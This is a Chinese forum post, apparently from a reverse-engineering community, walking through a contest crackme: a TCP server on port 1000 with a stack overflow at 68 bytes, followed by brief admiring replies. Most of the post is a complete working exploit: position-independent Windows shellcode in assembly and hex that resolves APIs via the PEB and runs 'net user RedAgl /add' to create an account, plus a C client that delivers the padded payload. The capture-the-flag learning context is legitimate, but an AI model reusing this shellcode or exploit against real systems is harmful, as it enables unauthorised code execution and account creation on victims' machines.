RedAngel丶 发表于 2014-1-30 11:17

【新年礼物】简单CM分析

本帖最后由 RedAngel丶 于 2014-1-30 13:35 编辑

【文章标题】: 简单CM分析
【文章作者】: RedAgl
【软件名称】: 2012-2013"凌码杯"信息安全大赛-逆向部分(Crackme5)
【软件大小】: 35.0KB
【下载地址】:
【保护方式】: 无
【使用工具】: IDA,OD,VC
【操作平台】: xp
【作者声明】: 只是感兴趣,没有其他目的。失误之处敬请诸位大侠赐教!
--------------------------------------------------------------------------------
【CM截图】


【详细过程】
打开程序,用Telnet连接服务器不久后,会自动断开,很奇怪?

一.程序分析
从入口点向下看,可以看到DialogBoxParam,得到DialogFun:0x401687
进入WM_INITDIALOG获取到一些信息:
INADDR_ANY:1000
1.创建TCP套接字
    如果失败则退出程序
2.绑定IP
    如果失败则退出程序
3.监听,最大等待队列为5
4.创建线程进行连接操作.listen_ThreadFun:0x40147A

进入listen_ThreadFun:
1.接受连接
    如果失败则延迟1000ms,再循环
2.发现断开原因了:
       .text:004014CE               call    accept
    .text:004014D4               mov   , eax
    .text:004014D7               cmp   , 0FFFFFFFFh
    .text:004014DB               jnz   short loc_4014EA
    .text:004014DD               push    3E8h
    .text:004014E2               call    Sleep
    .text:004014E8               jmp   short loc_4014A7
    .text:004014EA               mov   eax,
    .text:004014ED               push    eax
    .text:004014EE               call    Operation
    .text:004014F3               mov   eax,
    .text:004014F6               push    eax
    .text:004014F7               call    closesocket
    .text:004014FD               jmp   short loc_4014A7

    可以从上面代码看出,接受连接后并没有创建线程进行循环收发数据,而是经过Operation函数处理后直接关闭套接字
   
   进入Operation函数:
.text:004013DD               lea   eax,
.text:004013E0               push    eax
.text:004013E1               mov   eax,
.text:004013E4               push    eax
.text:004013E5               call    _recv
.text:004013EA               cmp   dword_405004, 1   ; 判断A
.text:004013F1               jz      loc_40146F
.text:004013F7               cmp   dword_405000, 0   ; 判断B
.text:004013FE               jz      short loc_4013DD

   有二个判断,进入_recv函数:
.text:0040135B               mov   , eax
.text:0040135E               cmp   , 0FFFFFFFFh
.text:00401362               jnz   short loc_401373
.text:00401364               mov   dword_405004, 1    ; 标志,无"end"字串,置1
.text:0040136E               jmp   loc_4013B3
.text:00401373               cmp   , 1
.text:00401377               jnz   loc_4013B3
.text:0040137D               inc   
.text:00401380               cmp   , 3
.text:00401384               jle   short loc_401347
.text:00401386               push    3
.text:00401388               push    offset aEnd   ; "end"
.text:0040138D               mov   eax,
.text:00401390               mov   edx,
.text:00401393               lea   eax,
.text:00401397               push    eax
.text:00401398               call    sub_4018A0
.text:0040139D               add   esp, 0Ch
.text:004013A0               cmp   eax, 0
.text:004013A3               jnz   short loc_401347
.text:004013A5               mov   dword_405000, 1    ; 标志,获取成功返回,置1
.text:004013AF               jmp   short loc_4013B3

从上可以得知:
置1,为没检测到"end"
置1,为获取成功返回

很直观的看出Operation函数的判断A是如没检测到"end",便直接跳出循环,关闭套接字
我们可以不管有没有"end"这个字符串,因为它已经接收数据,并且把缓冲区溢出了.....

二.定位点
可以在od中定位,本人这里用枚举的方式


从图中可以看出,在数据长度为68时出错,修改代码并用od验证下:


只要在retu处跳到要修改的位置便可

三.ShellCode编写
貌似此cm对空字符不感冒,但还是使用正常点的ShelloCode吧
思路:
1.利用PEB获取kernel32.dll基址
2.枚举kernel32.dll里的导出表,获取GetProcAddress函数地址
3.用GetProcAddress获取GetModuleHandle函数地址
4.用GetModuleHandle获取msvcrt.dll.(因为程序己加载msvcrt.dll.如果没有,请用LoadLibrary)
5.使用msvcrt.system("net user RedAgl /add")来创建受限帐户
6.怕程序异常,使用ExitProcess退出程序(好吧,暂不懂的如何平衡=. =)

ShellCode原型:
__asm
      {
                push ebp;
                mov ebp,esp;
                sub esp,64;
                xor eax,eax
                mov eax,fs:;
                mov eax,;
                mov esi,;
                lodsd;
                mov edi,;      //kernel32.dll BaseImage
               
                mov eax,;
                mov edx,;
                add edx,edi
                mov ecx,;      //导出函数总数
                mov ebx,;      //导出函数名称地址表RVA
                add ebx,edi;             //导出函数名称地址表->内存地址
s:
                dec ecx;
                //cmp ecx,-1;
                //jle end;
                mov esi,;   //获取函数名称RVA
                add esi,edi;             //获取函数名称内存地址
                // GetProcAddress
                mov eax,0x50746547;
                cmp ,eax;
                jne s;
                mov eax,0x41636f72;
                cmp ,eax;
                jne s;
                //循环结束

                //如果找到函数名
                mov ebx,;   //获取函数序号RVA
                add ebx,edi;            //获取函数序号内存地址
                mov cx,;   //计算出序号值
                mov ebx,;   //导出函数地址表RVA
                add ebx,edi;            //导出函数地址表内存地址
                mov eax,;
                add eax,edi;            //函数地址

                //找到后地址后,现在要GetProcAddress(edi, "GetModuleHandleA")
                mov dword ptr ss:,eax //保存GetProcAddress函数地址
                xor ecx,ecx;
                mov byte ptr ss:,cl
                mov dword ptr ss:,0x41656C64
                mov dword ptr ss:,0x6E614865;
                mov dword ptr ss:,0x6C75646F;
                mov dword ptr ss:,0x4D746547;
                lea eax,;
                push eax;
                push edi;
                call dword ptr ss:;
                mov ,eax //保存GetModuleHandleA函数地址

               
                //GetModuleHandleA("msvcrt");
                xor ecx,ecx;
                mov byte ptr ss:,cl;
                mov word ptr ss:,0x7472;
                mov dword ptr ss:,0x6376736D;
                lea eax,;
                push eax;
                call dword ptr ss:;
                mov dword ptr ss:,eax;
               
                //获取system函数地址:GetProcAddress(, "system")
                xor ecx,ecx;
                mov byte ptr ss:,cl;
                mov word ptr ss:,0x6D65;
                mov dword ptr ss:,0x74737973;
                lea eax,;
                push eax;
                push dword ptr ss:;
                call dword ptr ss:;
                mov dword ptr ss:,eax;

                //system(net user RedAgl /add);
                xor ecx,ecx;
                mov dword ptr ss:,ecx;
                mov dword ptr ss:,0x6464612F;
                mov dword ptr ss:,0x206C6741;
                mov dword ptr ss:,0x64655220;
                mov dword ptr ss:,0x72657375;
                mov dword ptr ss:,0x2074656E;
                lea eax,;
                push eax;
                call dword ptr ss:;
end:
                //获取ExitProcess函数地址.GetProcAddress(edi,"ExitProcess")
                xor ecx,ecx
                mov byte ptr ss:,cl;
                mov word ptr ss:,0x7373;
                mov byte ptr ss:,0x65;
                mov dword ptr ss:,0x636F7250;
                mov dword ptr ss:,0x74697845;
                lea eax,dword ptr ss:;
                push eax;
                push edi;
                call dword ptr ss:
                //结束进程
                xor ecx,ecx
                push ecx
                call eax

                add esp,64;
                pop ebp;
                ret;

ShellCode十六进制:
55 8B EC 83 EC 40 33 C0 64 8B 40 30 8B 40 0C 8B 70 1C AD 8B 78 08 8B 47 3C 8B 54 07 78 03 D7 8B
4A 18 8B 5A 20 03 DF 49 8B 34 8B 03 F7 B8 47 65 74 50 39 06 75 F1 B8 72 6F 63 41 39 46 04 75 E7
8B 5A 24 03 DF 66 8B 0C 4B 8B 5A 1C 03 DF 8B 04 8B 03 C7 36 89 45 FC 33 C9 36 88 4D FB 36 C7 45
F7 64 6C 65 41 36 C7 45 F3 65 48 61 6E 36 C7 45 EF 6F 64 75 6C 36 C7 45 EB 47 65 74 4D 8D 45 EB
50 57 36 FF 55 FC 89 45 F8 33 C9 36 88 4D F7 66 36 C7 45 F5 72 74 36 C7 45 F1 6D 73 76 63 8D 45
F1 50 36 FF 55 F8 36 89 45 F4 33 C9 36 88 4D F3 66 36 C7 45 F1 65 6D 36 C7 45 ED 73 79 73 74 8D
45 ED 50 36 FF 75 F4 36 FF 55 FC 36 89 45 F0 33 C9 36 89 4D EC 36 C7 45 E8 2F 61 64 64 36 C7 45
E4 41 67 6C 20 36 C7 45 E0 20 52 65 64 36 C7 45 DC 75 73 65 72 36 C7 45 D8 6E 65 74 20 8D 45 D8
50 36 FF 55 F0 33 C9 36 88 4D EF 66 36 C7 45 ED 73 73 36 C6 45 EC 65 36 C7 45 E8 50 72 6F 63 36
C7 45 E4 45 78 69 74 36 8D 45 E4 50 57 36 FF 55 FC 33 C9 51 FF D0 83 C4 40 5D C3
}

编写代码,测试下:



最终源码:
#include <iostream>
#include "windows.h"
#pragma comment(lib, "ws2_32.lib")
using namespace std;

void _close(SOCKET);

char ShellCode[] =
"\x12\x45\xFA\x7F\x41\x41\x41\x41"
"\x55\x8B\xEC\x83\xEC\x40\x33\xC0\x64\x8B\x40\x30\x8B\x40\x0C\x8B\x70\x1C\xAD\x8B\x78\x08\x8B\x47\x3C\x8B\x54\x07\x78\x03\xD7\x8B"
"\x4A\x18\x8B\x5A\x20\x03\xDF\x49\x8B\x34\x8B\x03\xF7\xB8\x47\x65\x74\x50\x39\x06\x75\xF1\xB8\x72\x6F\x63\x41\x39\x46\x04\x75\xE7"
"\x8B\x5A\x24\x03\xDF\x66\x8B\x0C\x4B\x8B\x5A\x1C\x03\xDF\x8B\x04\x8B\x03\xC7\x36\x89\x45\xFC\x33\xC9\x36\x88\x4D\xFB\x36\xC7\x45"
"\xF7\x64\x6C\x65\x41\x36\xC7\x45\xF3\x65\x48\x61\x6E\x36\xC7\x45\xEF\x6F\x64\x75\x6C\x36\xC7\x45\xEB\x47\x65\x74\x4D\x8D\x45\xEB"
"\x50\x57\x36\xFF\x55\xFC\x89\x45\xF8\x33\xC9\x36\x88\x4D\xF7\x66\x36\xC7\x45\xF5\x72\x74\x36\xC7\x45\xF1\x6D\x73\x76\x63\x8D\x45"
"\xF1\x50\x36\xFF\x55\xF8\x36\x89\x45\xF4\x33\xC9\x36\x88\x4D\xF3\x66\x36\xC7\x45\xF1\x65\x6D\x36\xC7\x45\xED\x73\x79\x73\x74\x8D"
"\x45\xED\x50\x36\xFF\x75\xF4\x36\xFF\x55\xFC\x36\x89\x45\xF0\x33\xC9\x36\x89\x4D\xEC\x36\xC7\x45\xE8\x2F\x61\x64\x64\x36\xC7\x45"
"\xE4\x41\x67\x6C\x20\x36\xC7\x45\xE0\x20\x52\x65\x64\x36\xC7\x45\xDC\x75\x73\x65\x72\x36\xC7\x45\xD8\x6E\x65\x74\x20\x8D\x45\xD8"
"\x50\x36\xFF\x55\xF0\x33\xC9\x36\x88\x4D\xEF\x66\x36\xC7\x45\xED\x73\x73\x36\xC6\x45\xEC\x65\x36\xC7\x45\xE8\x50\x72\x6F\x63\x36"
"\xC7\x45\xE4\x45\x78\x69\x74\x36\x8D\x45\xE4\x50\x57\x36\xFF\x55\xFC\x33\xC9\x51\xFF\xD0\x83\xC4\x40\x5D\xC3"
"\x65\x6E\x64";


int main()
{
      WSADATA stWSAData = {0};
      sockaddr_in stSin = {0};
      char buf = {0};
      
      memset(buf, 'A', 68);
      memcpy(buf+68, ShellCode, sizeof(ShellCode)-1);

      stSin.sin_family                        = AF_INET;
      stSin.sin_port                              = htons(1000);
      stSin.sin_addr.S_un.S_addr      = inet_addr("127.0.0.1");

      WSAStartup(0x0202, &stWSAData);
      SOCKET hS = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
      if(hS == INVALID_SOCKET)
      {
                _close(hS);
                system("pause");
                return 0;
      }
      int c = connect(hS, (sockaddr *)&stSin, sizeof(stSin));
      if(c == SOCKET_ERROR)
      {
                _close(hS);
                system("pause");
                return 0;
      }
      
      cout<<"-->连接服务器成功"<<endl;
      send(hS, buf, sizeof(buf)-1, 0);
      cout<<"-->发送成功"<<endl;

      _close(hS);
      system("pause");
      return 0;
}

//
// 目的: 扫尾
//
void _close(SOCKET s)
{
      if(s != -1)
      {
                closesocket(s);
      }
      WSACleanup();
}

--------------------------------------------------------------------------------
【经验总结】
    这是我刚注册论坛时,有人发了该系统(1-5)cm,当时什么都不会,第5题更不知要干什么?经过一年的学习,现在翻出来,发
现是非常简单的.
    本人认为此cm不算为测试强度,而是对初学者的练习,算练习性的cm吧
    这破文算是对自己的一个鼓励
    在这里祝大家新年快乐,发红包喽 {:301_978:}
--------------------------------------------------------------------------------
【版权声明】: 本文原创于RedAgl, 转载请注明作者并保持文章的完整, 谢谢!




禁止盗版 发表于 2015-1-23 19:26

支持                  支持                  

吾爱扣扣 发表于 2014-1-30 11:17

膜拜大牛! 研究shellcode这么勤奋!

system° 发表于 2014-1-30 11:21

实在是大神!

hzg303 发表于 2014-1-30 11:21

呵呵,今天还发教程呀,

索马里的海贼 发表于 2014-1-30 11:23

不明觉厉.

553565220 发表于 2014-1-30 11:24

虽然不懂但还是顶一个   

孤单的梦丶 发表于 2014-1-30 11:25

{:1_932:}学习了!

Focus丶孒涵 发表于 2014-1-30 11:26

回帖有奖励!

夜的静night 发表于 2014-1-30 11:30

Davis 发表于 2014-1-30 11:31

大神啊 我也正在学习
页: [1] 2 3 4 5 6 7 8 9 10
查看完整版本: 【新年礼物】简单CM分析